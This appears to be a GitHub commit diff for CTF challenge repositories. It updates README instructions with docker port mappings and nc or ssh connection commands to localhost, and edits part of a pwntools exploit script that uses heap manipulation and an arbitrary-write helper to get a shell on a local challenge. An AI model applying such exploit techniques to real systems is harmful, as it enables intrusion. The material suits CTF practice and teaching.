File tree 4 files changed +19
-8
lines changed
challenge/definitely_safe_notebook_since_i_have_forbid_unsafe_code
4 files changed +19
-8
lines changed Original file line number Diff line number Diff line change 21
21
```
22
22
cd challenge
23
23
docker build -t Def1nit3lysAfetoDol1st5iNc31hAveF0rb1dUnsafec0de ./
24
- docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} Def1nit3lysAfetoDol1st5iNc31hAveF0rb1dUnsafec0de:latest
24
+ docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} -p 12345:70 Def1nit3lysAfetoDol1st5iNc31hAveF0rb1dUnsafec0de:latest
25
+ ```
26
+
27
+ connect to the challenge
28
+ ```
29
+ nc 127.0.0.1 12345
25
30
```
Original file line number Diff line number Diff line change 1
1
from pwn import *
2
2
3
- sh = process ("./target/debug/definitely_safe_notebook_since_i_have_forbid_unsafe_code" )
4
- #sh = remote("127.0.0.1", 8888)
3
+ sh = remote ("127.0.0.1" , 12345 )
5
4
tob = lambda x : str (x ).encode ()
6
5
context .arch = 'amd64'
7
6
@@ -27,7 +26,6 @@ def edit_to_do(index, content):
27
26
def print_todo ():
28
27
sh .sendlineafter (b'> ' , b'4' )
29
28
30
- # gdb.attach(sh)
31
29
context .log_level = 'debug'
32
30
for i in range (8 ):
33
31
add_todo (b'name' , 0x10 , b'content' )
@@ -94,6 +92,4 @@ def arb_write(addr, data):
94
92
edit_to_do (0x3 , payload )
95
93
edit_to_do (0x0 , p64 (data ))
96
94
97
-
98
-
99
95
sh .interactive ()
Original file line number Diff line number Diff line change 28
28
```
29
29
cd challenge
30
30
docker build -t slowjspp ./
31
- docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} slowjspp:latest
31
+ docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} -p 12345:70 slowjspp:latest
32
+ ```
33
+
34
+ connect to the challenge
35
+ ```
36
+ nc 127.0.0.1 12345
32
37
```
Original file line number Diff line number Diff line change 21
21
```
22
22
cd challenge
23
23
docker build -t snake ./
24
- docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} snake:latest
24
+ docker run -d --rm -e GZCTF_FLAG=sdctf{testflag} -p 12345:12345 snake:latest
25
+ ```
26
+
27
+ connect to the challenge
28
+ ```
29
+ ssh root@localhost -p 12345
25
30
```
You can’t perform that action at this time.
0 commit comments